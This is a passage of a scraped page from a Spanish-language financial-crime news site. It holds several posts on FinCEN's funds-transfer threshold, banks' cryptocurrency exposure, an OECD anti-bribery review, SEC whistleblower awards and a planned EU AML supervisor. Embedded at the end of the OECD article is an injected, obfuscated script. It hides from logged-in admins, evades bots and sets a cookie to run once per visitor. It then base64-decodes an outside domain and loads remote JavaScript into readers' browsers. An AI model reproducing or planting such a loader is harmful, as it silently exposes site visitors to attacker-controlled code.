denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul class="wp-block-list"><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca 